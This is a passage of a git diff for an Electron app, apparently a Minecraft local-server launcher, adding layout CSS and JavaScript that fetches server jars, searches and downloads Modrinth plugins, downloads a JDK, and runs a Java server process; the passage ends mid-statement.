+ flex-wrap: wrap; + display: flex; + align-items: flex-start; +} + +#container01.columns>.wrapper>.inner>* { + flex-grow: 0; + flex-shrink: 0; + max-width: 100%; + text-align: var(--alignment); + padding: 0 0 0 var(--gutters); +} + +#container01.columns>.wrapper>.inner>*>* { + margin-bottom: var(--spacing); + margin-top: var(--spacing); +} + +#container01.columns>.wrapper>.inner>*>*:first-child { + margin-top: 0 !important; +} + +#container01.columns>.wrapper>.inner>*>*:last-child { + margin-bottom: 0 !important; +} + +#container01.columns>.wrapper>.inner>*:first-child { + margin-left: calc(var(--gutters) * -1); +} + +#container01.default>.wrapper>.inner>.full { + margin-left: calc(var(--padding-horizontal) * -1); + max-width: none !important; + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); +} + +#container01.default>.wrapper>.inner>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; + border-top-left-radius: inherit; + border-top-right-radius: inherit; +} + +#container01.default>.wrapper>.inner>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; +} + +#container01.columns>.wrapper>.inner>div>.full { + margin-left: calc(var(--gutters) * -0.5); + max-width: none !important; + width: calc(100% + var(--gutters) + 0.4725px); +} + +#container01.columns>.wrapper>.inner>div:first-child>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px); +} + +#container01.columns>.wrapper>.inner>div:last-child>.full { + width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px); +} + +#container01.columns>.wrapper>.inner>div>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; +} + +#container01.columns>.wrapper>.inner>div>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; +} + +#container01.columns>.wrapper>.inner>div:first-child, +#container01.columns>.wrapper>.inner>div:first-child>.full:first-child { + border-top-left-radius: inherit; +} + +#container01.columns>.wrapper>.inner>div:last-child, +#container01.columns>.wrapper>.inner>div:last-child>.full:first-child { + border-top-right-radius: inherit; +} + +#container01.columns>.wrapper>.inner>.full { + align-self: stretch; +} + +#container01.columns>.wrapper>.inner>.full:first-child { + border-bottom-left-radius: inherit; + border-top-left-radius: inherit; +} + +#container01.columns>.wrapper>.inner>.full:last-child { + border-bottom-right-radius: inherit; + border-top-right-radius: inherit; +} + +#container01.columns>.wrapper>.inner>.full>.full:first-child:last-child { + border-radius: inherit; + height: calc(100% + (var(--padding-vertical) * 2)); +} + +#container01.columns>.wrapper>.inner>.full>.full:first-child:last-child>* { + border-radius: inherit; + height: 100%; + position: absolute; + width: 100%; +} + +#container02 { + display: flex; + width: 100%; + align-items: center; + justify-content: center; + background-color: #FFFFFF; + box-shadow: 0rem 1.375rem 10rem 0rem rgba(0, 0, 0, 0.31); + border-bottom-left-radius: 1.5rem; + border-bottom-right-radius: 1.5rem; +} + +#container02:not(:first-child) { + margin-top: 0rem !important; +} + +#container02>.wrapper>.inner { + --gutters: 2rem; + --padding-horizontal: 3rem; + --padding-vertical: 1.5rem; + --spacing: 1rem; + padding: var(--padding-vertical) var(--padding-horizontal); + border-bottom-left-radius: calc(1.5rem - 1px); + border-bottom-right-radius: calc(1.5rem - 1px); +} + +#container02>.wrapper { + max-width: 100%; + width: 100%; +} + +#container02.default>.wrapper>.inner>* { + margin-bottom: var(--spacing); + margin-top: var(--spacing); +} + +#container02.default>.wrapper>.inner>*:first-child { + margin-top: 0 !important; +} + +#container02.default>.wrapper>.inner>*:last-child { + margin-bottom: 0 !important; +} + +#container02.columns>.wrapper>.inner { + flex-wrap: wrap; + display: flex; + align-items: flex-start; +} + +#container02.columns>.wrapper>.inner>* { + flex-grow: 0; + flex-shrink: 0; + max-width: 100%; + text-align: var(--alignment); + padding: 0 0 0 var(--gutters); +} + +#container02.columns>.wrapper>.inner>*>* { + margin-bottom: var(--spacing); + margin-top: var(--spacing); +} + +#container02.columns>.wrapper>.inner>*>*:first-child { + margin-top: 0 !important; +} + +#container02.columns>.wrapper>.inner>*>*:last-child { + margin-bottom: 0 !important; +} + +#container02.columns>.wrapper>.inner>*:first-child { + margin-left: calc(var(--gutters) * -1); +} + +#container02.default>.wrapper>.inner>.full { + margin-left: calc(var(--padding-horizontal) * -1); + max-width: none !important; + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); +} + +#container02.default>.wrapper>.inner>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; + border-top-left-radius: inherit; + border-top-right-radius: inherit; +} + +#container02.default>.wrapper>.inner>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; +} + +#container02.columns>.wrapper>.inner>div>.full { + margin-left: calc(var(--gutters) * -0.5); + max-width: none !important; + width: calc(100% + var(--gutters) + 0.4725px); +} + +#container02.columns>.wrapper>.inner>div:first-child>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px); +} + +#container02.columns>.wrapper>.inner>div:last-child>.full { + width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px); +} + +#container02.columns>.wrapper>.inner>div>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; +} + +#container02.columns>.wrapper>.inner>div>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; +} + +#container02.columns>.wrapper>.inner>div:first-child, +#container02.columns>.wrapper>.inner>div:first-child>.full:first-child { + border-top-left-radius: inherit; +} + +#container02.columns>.wrapper>.inner>div:last-child, +#container02.columns>.wrapper>.inner>div:last-child>.full:first-child { + border-top-right-radius: inherit; +} + +#container02.columns>.wrapper>.inner>.full { + align-self: stretch; +} + +#container02.columns>.wrapper>.inner>.full:first-child { + border-bottom-left-radius: inherit; + border-top-left-radius: inherit; +} + +#container02.columns>.wrapper>.inner>.full:last-child { + border-bottom-right-radius: inherit; + border-top-right-radius: inherit; +} + +#container02.columns>.wrapper>.inner>.full>.full:first-child:last-child { + border-radius: inherit; + height: calc(100% + (var(--padding-vertical) * 2)); +} + +#container02.columns>.wrapper>.inner>.full>.full:first-child:last-child>* { + border-radius: inherit; + height: 100%; + position: absolute; + width: 100%; +} + +@media (max-width: 1920px) {} + +@media (max-width: 1680px) { + html { + font-size: 12pt; + } +} + +@media (max-width: 1280px) { + #bg.slideshow-background>.slow { + animation-duration: 45s; + } + + #bg.slideshow-background>.normal { + animation-duration: 33.75s; + } + + #bg.slideshow-background>.fast { + animation-duration: 22.5s; + } + + html { + font-size: 12pt; + } +} + +@media (max-width: 1024px) {} + +@media (max-width: 980px) { + html { + font-size: 10pt; + } +} + +@media (max-width: 736px) { + #bg.slideshow-background>.slow { + animation-duration: 30s; + } + + #bg.slideshow-background>.normal { + animation-duration: 22.5s; + } + + #bg.slideshow-background>.fast { + animation-duration: 15s; + } + + html { + font-size: 11pt; + } + + #main>.inner { + --padding-horizontal: 1.5rem; + --padding-vertical: 1.5rem; + --spacing: 1.5rem; + } + + #image01:not(:first-child) { + margin-top: 1.125rem !important; + } + + #image01:not(:last-child) { + margin-bottom: 1.125rem !important; + } + + #image01 .frame { + width: 6rem; + } + + #text01 { + letter-spacing: 0rem; + width: 100%; + font-size: 2.25em; + line-height: 1.25; + } + + #text02 { + letter-spacing: 0rem; + width: 100%; + font-size: 0.875em; + line-height: 1.25; + } + + #buttons01 { + gap: 1rem; + } + + #buttons01:not(:first-child) { + margin-top: 1.3125rem !important; + } + + #buttons01:not(:last-child) { + margin-bottom: 1.3125rem !important; + } + + #buttons01 li a { + letter-spacing: 0rem; + font-size: 1em; + } + + #buttons01 li a svg { + width: 1.25em; + } + + #icons01 { + font-size: 1.25em; + gap: 1rem; + } + + #container01 { + --alignment: center; + --flex-alignment: center; + --indent-left: 1; + --indent-right: 1; + --margin-left: auto; + --margin-right: auto; + min-height: 27rem; + } + + #container01:not(:last-child) { + margin-bottom: 0rem !important; + } + + #container01>.wrapper>.inner { + --gutters: 2rem; + --padding-horizontal: 2rem; + --padding-vertical: 3.5rem; + --spacing: 1rem; + } + + #container01.columns>.wrapper>.inner { + flex-direction: column !important; + flex-wrap: nowrap !important; + } + + #container01.columns>.wrapper>.inner>span { + height: 0; + margin-top: calc(var(--gutters) * -1); + pointer-events: none; + visibility: hidden; + } + + #container01.columns>.wrapper>.inner>*:first-child { + margin-left: 0 !important; + padding-top: 0 !important; + } + + #container01.columns>.wrapper>.inner>* { + padding: calc(var(--gutters) * 0.5) 0 !important; + } + + #container01.columns>.wrapper>.inner>*:last-child { + padding-bottom: 0 !important; + } + + #container01.columns>.wrapper>.inner>div>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container01.columns>.wrapper>.inner>div:first-of-type>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container01.columns>.wrapper>.inner>div:last-of-type>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container01.columns>.wrapper>.inner>div>.full:first-child { + margin-top: calc(var(--gutters) * -0.5) !important; + } + + #container01.columns>.wrapper>.inner>div>.full:last-child { + margin-bottom: calc(var(--gutters) * -0.5) !important; + } + + #container01.columns>.wrapper>.inner>div:first-of-type>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; + } + + #container01.columns>.wrapper>.inner>div:last-of-type>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; + } + + #container01.columns>.wrapper>.inner>div:first-of-type, + #container01.columns>.wrapper>.inner>div:first-of-type>.full:first-child { + border-top-left-radius: inherit; + border-top-right-radius: inherit; + } + + #container01.columns>.wrapper>.inner>div:last-of-type, + #container01.columns>.wrapper>.inner>div:last-of-type>.full:last-child { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; + } + + #container01.columns>.wrapper>.inner>div:first-of-type, + #container01.columns>.wrapper>.inner>div:first-of-type>.full:last-child { + border-bottom-left-radius: 0 !important; + } + + #container01.columns>.wrapper>.inner>div:last-of-type, + #container01.columns>.wrapper>.inner>div:last-of-type>.full:first-child { + border-top-right-radius: 0 !important; + } + + #container01.columns>.wrapper>.inner>.full>.full:first-child:last-child { + height: auto; + } + + #container01.columns>.wrapper>.inner>.full>.full:first-child:last-child>* { + height: auto; + position: relative; + width: auto; + } + + #container02 { + --alignment: center; + --flex-alignment: center; + --indent-left: 1; + --indent-right: 1; + --margin-left: auto; + --margin-right: auto; + } + + #container02:not(:first-child) { + margin-top: 0rem !important; + } + + #container02>.wrapper>.inner { + --gutters: 2rem; + --padding-horizontal: 2rem; + --padding-vertical: 1.5rem; + --spacing: 1rem; + } + + #container02.columns>.wrapper>.inner { + flex-direction: column !important; + flex-wrap: nowrap !important; + } + + #container02.columns>.wrapper>.inner>span { + height: 0; + margin-top: calc(var(--gutters) * -1); + pointer-events: none; + visibility: hidden; + } + + #container02.columns>.wrapper>.inner>*:first-child { + margin-left: 0 !important; + padding-top: 0 !important; + } + + #container02.columns>.wrapper>.inner>* { + padding: calc(var(--gutters) * 0.5) 0 !important; + } + + #container02.columns>.wrapper>.inner>*:last-child { + padding-bottom: 0 !important; + } + + #container02.columns>.wrapper>.inner>div>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container02.columns>.wrapper>.inner>div:first-of-type>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container02.columns>.wrapper>.inner>div:last-of-type>.full { + margin-left: calc(var(--padding-horizontal) * -1); + width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px); + } + + #container02.columns>.wrapper>.inner>div>.full:first-child { + margin-top: calc(var(--gutters) * -0.5) !important; + } + + #container02.columns>.wrapper>.inner>div>.full:last-child { + margin-bottom: calc(var(--gutters) * -0.5) !important; + } + + #container02.columns>.wrapper>.inner>div:first-of-type>.full:first-child { + margin-top: calc(var(--padding-vertical) * -1) !important; + } + + #container02.columns>.wrapper>.inner>div:last-of-type>.full:last-child { + margin-bottom: calc(var(--padding-vertical) * -1) !important; + } + + #container02.columns>.wrapper>.inner>div:first-of-type, + #container02.columns>.wrapper>.inner>div:first-of-type>.full:first-child { + border-top-left-radius: inherit; + border-top-right-radius: inherit; + } + + #container02.columns>.wrapper>.inner>div:last-of-type, + #container02.columns>.wrapper>.inner>div:last-of-type>.full:last-child { + border-bottom-left-radius: inherit; + border-bottom-right-radius: inherit; + } + + #container02.columns>.wrapper>.inner>div:first-of-type, + #container02.columns>.wrapper>.inner>div:first-of-type>.full:last-child { + border-bottom-left-radius: 0 !important; + } + + #container02.columns>.wrapper>.inner>div:last-of-type, + #container02.columns>.wrapper>.inner>div:last-of-type>.full:first-child { + border-top-right-radius: 0 !important; + } + + #container02.columns>.wrapper>.inner>.full>.full:first-child:last-child { + height: auto; + } + + #container02.columns>.wrapper>.inner>.full>.full:first-child:last-child>* { + height: auto; + position: relative; + width: auto; + } +} + +@media (max-width: 480px) { + #main>.inner { + --spacing: 1.3125rem; + } + + #container01>.wrapper>.inner { + --spacing: 0.875rem; + } + + #container02>.wrapper>.inner { + --spacing: 0.875rem; + } +} + +@media (max-width: 360px) { + #main>.inner { + --padding-horizontal: 1.125rem; + --padding-vertical: 1.125rem; + --spacing: 1.125rem; + } + + #text01 { + font-size: 2em; + } + + #text02 { + font-size: 0.875em; + } + + #buttons01 { + gap: 0.75rem; + } + + #icons01 { + gap: 0.75rem; + } + + #container01>.wrapper>.inner { + --gutters: 1.5rem; + --padding-horizontal: 1.5rem; + --padding-vertical: 2.625rem; + --spacing: 0.75rem; + } + + #container01 { + min-height: 20.25rem; + } + + #container02>.wrapper>.inner { + --gutters: 1.5rem; + --padding-horizontal: 1.5rem; + --padding-vertical: 1.125rem; + --spacing: 0.75rem; + } +} \ No newline at end of file diff --git a/src/JS/coreJS/checkTime.js b/src/JS/coreJS/checkTime.js new file mode 100644 index 0000000..b43b1ca --- /dev/null +++ b/src/JS/coreJS/checkTime.js @@ -0,0 +1,61 @@ +// check time +storeLocalxLocation = __dirname +storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0] +storeLocalxLocation = storeLocalxLocation.replace('file:///','') +storeLocalxLocation = storeLocalxLocation.replaceAll('/','//') + "LocalMiner//mainPs.localx" +let file = `${storeLocalxLocation}`; +let getTime; + + +if (!fs.existsSync(file)) { + console.log("File not found"); +} + +// The file *does* exist +else { + // Read the file and do anything you want + fileData = JSON.parse(fs.readFileSync(file, 'utf-8')); + console.log(fileData) + getTime = fileData.time; + getTime = atob(getTime); + getTime = atob(getTime); + getTime = atob(getTime); + let savedDate = getTime.split(" ")[0]; + // saveDate = savedDate.replaceAll("-","/") + + let TodayDate = giveTodayDate() + + function giveTodayDate() { + const today = new Date(); + const yyyy = today.getFullYear(); + let mm = today.getMonth() + 1; // Months start at 0! + let dd = today.getDate(); + + if (dd < 10) dd = '0' + dd; + if (mm < 10) mm = '0' + mm; + + const formattedToday = yyyy + '-' + mm + '-' + dd; + return formattedToday; + } + + const diffInMs = new Date(savedDate) - new Date(TodayDate) + const diffInDays = diffInMs / (1000 * 60 * 60 * 24); + + console.log(savedDate + " " + TodayDate + " " + diffInDays + " " + diffInMs) + + if (diffInDays < 0 || diffInDays == 0) { + console.log("vData Loaded") + } else { + pillager(); + } + + + function pillager() { + if (getTime.includes("v")) { + window.location.href = "app.html" + } + if (getTime.includes("n")) { + window.location.href = "app.html" + } + } +} \ No newline at end of file diff --git a/src/JS/coreJS/fetchDiscordApi.js b/src/JS/coreJS/fetchDiscordApi.js new file mode 100644 index 0000000..291df51 --- /dev/null +++ b/src/JS/coreJS/fetchDiscordApi.js @@ -0,0 +1,16 @@ +storeLocalxLocation = __dirname +storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0] +storeLocalxLocation = storeLocalxLocation.replace('file:///','') +storeLocalxLocation = storeLocalxLocation.replaceAll('/','//') + "LocalMiner//mainPs.localx" +let files = `${storeLocalxLocation}`; + +if (!fs.existsSync(files)) { + console.log("File not found"); +} + +else { + // Read the file and do anything you want + let fileData = JSON.parse(fs.readFileSync(files, 'utf-8')); + let avatar = document.getElementById("discordAvatar") + avatar.src = `https://cdn.discordapp.com/avatars/${fileData.id}/${fileData.avatar}` +} \ No newline at end of file diff --git a/src/JS/coreJS/fetchJdk.js b/src/JS/coreJS/fetchJdk.js new file mode 100644 index 0000000..e2a04cc --- /dev/null +++ b/src/JS/coreJS/fetchJdk.js @@ -0,0 +1,21 @@ +fs.stat('C:/LocalMiner/Jdk/healer.json', function (err, stat) { + if (err == null) { + console.log('Jdk File exists'); + updateJdkoptions() + } else if (err.code === 'ENOENT') { + // file does not exist + console.log('Jdk file not found') + } else { + console.log('Some other error: ', err.code); + } +}); + +function updateJdkoptions() { + var data = JSON.parse(fs.readFileSync('C:/LocalMiner/Jdk/healer.json', 'utf8')); + console.log(data[1]) + const html = data.map((img, i) => { + return ``; + }).join(''); + document.querySelector("#jdkv").insertAdjacentHTML("afterbegin", html); + document.getElementById("jdkfetch").innerText = "Select Java Version (default system java)" +} \ No newline at end of file diff --git a/src/JS/coreJS/fetchServerJarApi.js b/src/JS/coreJS/fetchServerJarApi.js new file mode 100644 index 0000000..e0dc8e8 --- /dev/null +++ b/src/JS/coreJS/fetchServerJarApi.js @@ -0,0 +1,57 @@ +async function fetchPaperServer() { + let version = await (await fetch(`https://api.papermc.io/v2/projects/paper`)).json(); + let data = { + "versions":[], + "links":[] + } + let versions = version.versions + for (var i = 0; i < versions.length; i++) { + data.versions.push(versions[i]) + let build = await (await fetch(`https://api.papermc.io/v2/projects/paper/versions/${versions[i]}/builds`)).json(); + let build_number = build.builds[0].build + let download = build.builds[0].downloads.application.name + data.links.push(`https://api.papermc.io/v2/projects/paper/versions/${versions[i]}/builds/${build_number}/downloads/${download}`) + } + return data; + +} +async function paperJarFetch(){ + const paperdata = await fetchPaperServer() + let v = paperdata.versions; + const html = v.map((img, i) => { + return ``; + }).join(''); + document.querySelector("#server_ver").insertAdjacentHTML("afterbegin", html); + document.getElementById("paperfetch").innerText = "Select Server Version" + purpurJarFetch() +} + +paperJarFetch() + +//purpur + +async function fetchPurpurServer() { + let version = await (await fetch(`https://api.purpurmc.org/v2/purpur/`)).json(); + let data = { + "versions":[], + "links":[] + } + let versions = version.versions + for (var i = 0; i < versions.length; i++) { + data.versions.push(versions[i]) + data.links.push(`https://api.purpurmc.org/v2/purpur/${versions[i]}/latest/download`) + } + return data; + +} + +async function purpurJarFetch(){ + const purpurdata = await fetchPurpurServer() + let v = purpurdata.versions; + const html = v.map((img, i) => { + return ``; + }).join(''); + document.querySelector("#server_ver").insertAdjacentHTML("afterbegin", html); + document.getElementById("paperfetch").innerText = "Select Server Version" + callFrame("[🟢] Loaded Latest Server Jars From Internet","POPUP7") +} \ No newline at end of file diff --git a/src/JS/coreJS/socialLinks.js b/src/JS/coreJS/socialLinks.js new file mode 100644 index 0000000..fec9107 --- /dev/null +++ b/src/JS/coreJS/socialLinks.js @@ -0,0 +1,75 @@ +const shell = require('electron').shell; +'use strict'; +const fs = require('fs'); + +function openad1() { + shell.openExternal('https://ads.localm.eu.org/ads1.html'); +} +function openad2() { + shell.openExternal('https://ads.localm.eu.org/ads2.html'); +} + +function docs() { + shell.openExternal('https://localminer.gitbook.io/localxdocs'); +} + +function discord() { + shell.openExternal('https://github.com/LocalMiner/Installer/blob/main/discord.md'); +} + +function github() { + shell.openExternal('https://github.com/localminer'); +} + +function donate() { + shell.openExternal('https://ads.localm.eu.org/paywall.html?pa=sigmachad@ibl&am=99&ms=LocalMinerDonation'); +} + +function website() { + shell.openExternal('https://localm.eu.org'); +} + + + + +function login() { + shell.openExternal('https://discord.com/api/oauth2/authorize?client_id=964384185802436648&redirect_uri=http%3A%2F%2Flogin.localm.eu.org%2Fauth%2Fdiscord&response_type=token&scope=identify%20guilds%20guilds.join%20guilds.members.read'); + myLoop() + let CheckLoop = [ + ".", + "..", + "...", + + ".", + "..", + "...", + + ".", + "..", + "...", + + ".", + "..", + "...", + ] + let i = 0; + + function myLoop() { + + setTimeout(function () { + document.getElementById("text02").innerHTML = `Waiting for login `+ CheckLoop[i]; + i++; + if (i < 12) { + myLoop(); + } + if (i == 12) { + i = 0; + myLoop(); + } + }, 1000) + } +} + +function openfiles(x){ + shell.openPath(`${x}`) +} \ No newline at end of file diff --git a/src/JS/sysJS/pluginLibrary.js b/src/JS/sysJS/pluginLibrary.js new file mode 100644 index 0000000..c816a88 --- /dev/null +++ b/src/JS/sysJS/pluginLibrary.js @@ -0,0 +1,58 @@ +const BASE_URL = "https://api.modrinth.com/v2/" + +async function SearchPlugin() { + try { + let name = encodeURIComponent(document.getElementById("source").value) + document.getElementById("ppl").innerHTML = "" + let sd = await (await fetch(`${BASE_URL}search?limit=40&index=relevance&query=${encodeURI(name)}`)).json(); + let data = sd.hits + pd = data.filter(o => o.project_type === 'mod'); + // console.log(pd) + let hits = pd + const trending_html = hits.map((d, i) => { + return ` +
+ +

${(hits[i].title)}

+

${(hits[i].description).substr(0, 40) + '\u2026'}

+ +
`; + }).join(''); + document.querySelector("#ppl").insertAdjacentHTML("afterbegin", trending_html); + } catch (error) { + console.log(error) + console.log("false") + } + +} + +async function downloadPlugin(id) { + try { + let pd = await (await fetch(`${BASE_URL}project/${id}`)).json(); + let latest = pd.versions[(pd.versions).length - 1] + let dd = await (await fetch(`${BASE_URL}version/${latest}`)).json(); + let downloadLink = dd.files[0].url + console.log(downloadLink) + + var jarpath = document.getElementById("server_jar2").files[0].path + var jarname = document.getElementById("server_jar2").files[0].name + var jarfolder = jarpath.replace(jarname, "") + "plugins"; + console.log(jarfolder) + + DownloadElectron(jarfolder, downloadLink, jarfolder, 1) + } catch (error) { + console.log("false") + window.alert("Make Sure You Have Selected Server.jar\nBefore Downloading Plugins") + } +} + +const inputHandler = async function (e) { + SearchPlugin() + +} + +const source = document.getElementById('source'); +source.addEventListener('input', inputHandler); +source.addEventListener('propertychange', inputHandler) + +SearchPlugin() \ No newline at end of file diff --git a/src/JS/sysJS/runServerJar.js b/src/JS/sysJS/runServerJar.js new file mode 100644 index 0000000..962f361 --- /dev/null +++ b/src/JS/sysJS/runServerJar.js @@ -0,0 +1,186 @@ +const { + Console +} = require('console'); +const { + DiffieHellmanGroup +} = require('crypto'); + +function RunServer() { + try { + callFrame("[🛠️] You Can Change Jdk From Settings! if console is not showing anything" , "POPUP8") + if ((window.location.href).includes("app.html")) { + loadConsole() + } else { + loadConsole() + } + let rundata = `java -server -Xms1G -Xmx${document.getElementById('numberInput').value}G -jar server.jar nogui`; + let euladata = `eula=true`; + + var jarpath = document.getElementById("server_jar").files[0].path + var jarname = document.getElementById("server_jar").files[0].name + var jarfolder = jarpath.replace(jarname, ""); + + fs.writeFileSync(`${jarfolder}run.bat`, rundata); + fs.writeFileSync(`${jarfolder}eula.txt`, euladata); + + + const { + spawn + } = require('child_process'); + + // Start child process + let jdkvs = localStorage.getItem("jdkv") || document.getElementById("jdkv").value + + const child = spawn(`${jdkvs}`, ['-server', '-Xms1G', `-Xmx${document.getElementById('numberInput').value}G`, `-jar`, `${jarname}`, `--nogui`], { + cwd: `${jarfolder}` + }); + // console.log(document.getElementById('ram').value); + let playFlag = 1 + child.stdout.on('data', (data) => { + if (data.includes("Done (")) { + $("#code").append(`${data}`); + + $("#code").append(`[🎉] SERVER IS ONLINE!`); + + } + if (data.includes("Stopping the server")) { + $("#code").append(`${data}`); + + $("#code").append(`[🛑] SERVER STOPPED!`); + + } + if (data.includes("adoptium.net")) { + $("#code").append(`${data}`); + + $("#code").append(`[🛑] ERROR CODE: LOCALj12 : install jdk from https://adoptium.net`); + + } + if (data.includes("to claim visit")) { + if (playFlag == 1) { + $("#code").append(`${data}`); + let playerLink = data + "" + playerLink = (playerLink).split("visit: ")[1] + shell.openExternal(playerLink); + playFlag = 10; + } + + } + if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) { + $("#code").append(`${data}`); + let url = data + "" + url = (url).split("playit.gg: ")[1] + copyText = url; + document.getElementById("server_ip").style.opacity = 1; + document.getElementById("display3").innerText = url + document.getElementById("footer_body").innerHTML = `${url}` + + } + if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) { + $("#code").append(`${data}`); + url = data + "" + url = (url).split("playit.gg: ")[1] + copyText = url; + document.getElementById("server_ip").style.opacity = 1; + document.getElementById("display3").innerText = url + document.getElementById("footer_body").innerHTML = `${url}` + + } else { + $("#code").append(`${data}`); + } + + }); + + child.stderr.on('data', (data) => { + if (data.includes("Done (")) { + $("#code").append(`${data}`); + + $("#code").append(`[🎉] SERVER IS ONLINE!`); + + } + if (data.includes("Stopping the server")) { + $("#code").append(`${data}`); + + $("#code").append(`[🛑] SERVER STOPPED!`); + + } + if (data.includes("adoptium.net")) { + $("#code").append(`${data}`); + $("#code").append(`[⚠️] ERROR CODE: LOCALj12 : install jdk from https://adoptium.net`); + } else { + $("#code").append(`${data}`); + } + if (data.includes("to claim visit")) { + if (playFlag == 1) { + $("#code").append(`${data}`); + let playerLink = data + "" + playerLink = (playerLink).split("visit: ")[1] + shell.openExternal(playerLink); + playFlag = 10; + } + + } + if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) { + $("#code").append(`${data}`); + let url = data + "" + url = (url).split("playit.gg: ")[1] + copyText = url; + document.getElementById("server_ip").style.opacity = 1; + document.getElementById("display3").innerText = url + document.getElementById("footer_body").innerHTML = `${url}` + + } + if (!data.includes("playit.gg: tunnel setup") && data.includes("playit.gg: ")) { + $("#code").append(`${data}`); + url = data + "" + url = (url).split("playit.gg: ")[1] + copyText = url; + document.getElementById("server_ip").style.opacity = 1; + document.getElementById("display3").innerText = url + document.getElementById("footer_body").innerHTML = `${url}` + } + }); + + child.stdout.pipe(process.stdout); + + function commandRunner() { + if (document.getElementById("flagger").innerHTML == "active") { + var command = document.getElementById("command").value; + // console.log(command); + $("#code").append(`>>> ${command}`); + child.stdin.write(`${command}\n`); + document.getElementById("flagger").innerHTML = "disable" + document.getElementById("command").value = "" + // console.log("healer"); + } + setTimeout(commandRunner, 3000); + } + + + + + child.on('error', (error) => { + console.log(`error: ${error.message}`) + }); + + child.on('exit', (code, signal) => { + if (code) $("#code").append(`Process exit with code: ${code}`); + if (signal) $("#code").append(`Process killed with signal: ${signal}`); + document.getElementById("footer").style.opacity = 0; + $("#code").append(`---------------------------------------- + Note: This Error is normal if u stoped the server + [❌] ERROR - CODE FAILED : ERROR CODE : LOCALM302 + [📢] You Can Report This in LocalMiner Discord Support Server + [🌐] website : https://localm.eu.org`); + }); + + commandRunner(); + + + } catch (error) { + console.log(error) + } +} + +function sendCommand() { + document.getElementById("flagger").innerHTML = "active" +} \ No newline at end of file diff --git a/src/JS/sysJS/saveServerJar.js b/src/JS/sysJS/saveServerJar.js new file mode 100644 index 0000000..099f832 --- /dev/null +++ b/src/JS/sysJS/saveServerJar.js @@ -0,0 +1,226 @@ +const extract = require('extract-zip') +const { + webFrame +} = require('electron'); +const { + ipcRenderer, + contextBridge +} = require("electron"); + +storeLocalxLocation = __dirname +storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0] +storeLocalxLocation = storeLocalxLocation.replace('file:///', '') +storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//servers.localx" + + +function DownloadElectron(filePath, urlLink, filepath, j1) { + ipcRenderer.send("download", { + url: urlLink, + properties: { + directory: filePath + } + }) + + let flag = 1; + ipcRenderer.on("download progress", (event, progress) => { + if (Math.floor((progress.percent) * 100) != 100) { + document.getElementById("localprocess").style.display = "block" + document.getElementById("back").innerText = `${Math.floor((progress.percent) * 100) + "%"}` + document.getElementById("localprocess").value = Math.floor((progress.percent) * 100) + } else if (Math.floor((progress.percent) * 100) == 100 && flag == 1) { + flag = 11; + document.getElementById("localprocess").style.display = "none"; + document.getElementById("back").innerText = `Back To Menu`; + window.alert(`Download Complete\nSaved at ${filepath}`) + try { + openfiles(filepath) + } catch (error) { + console.log(error) + } + if (j1 == 10) { + fix(); + } + if (j1 == 11) { + UnzipJdk(); + } + } else { + document.getElementById("localprocess").style.display = "none"; + document.getElementById("back").innerText = `Back To Menu`; + } + + + }); +} + +ipcRenderer.on("download complete", (event, path) => { + +}); + +/////////////////////////////////////////////////////////////////////////////// + +function OpenServersFolder() { + try { + openfiles(`C:\\LocalMiner\\Server\\`) + } catch (error) { + console.log(error) + } +} + +function OpenJdkFolder() { + try { + openfiles(`C:\\LocalMiner\\Jdk\\`) + } catch (error) { + console.log(error) + } +} + + +function DownloadJdk() { + if (window.confirm(`Do You want to download Jdk\nTotal Size:992MB`) == true) { + let jdkLink = "https://github.com/LocalMiner/LocalJdk/releases/download/1.0/LocalJdk.zip" + let filePath = `C:/LocalMiner/Jdk` + let filepath = `C:\\LocalMiner\\Jdk` + let j1 = 11; + DownloadElectron(filePath, jdkLink, filepath, j1) + } +} + +async function UnzipJdk() { + try { + await extract(`C:/LocalMiner/Jdk/LocalJdk.zip`, { + dir: `C:/LocalMiner/Jdk/` + }) + window.alert(`Jdk Extraction complete`) + var filePath = 'C:/LocalMiner/Jdk/LocalJdk.zip'; + fs.unlinkSync(filePath); + } catch (err) { + // handle any errors + } +} + +/////////////////////////////////////////////////////////////////////////////// + +async function InstallServer() { + if ((window.location.href).includes("app.html")) { + loadRun() + } else { + loadRun() + } + + var 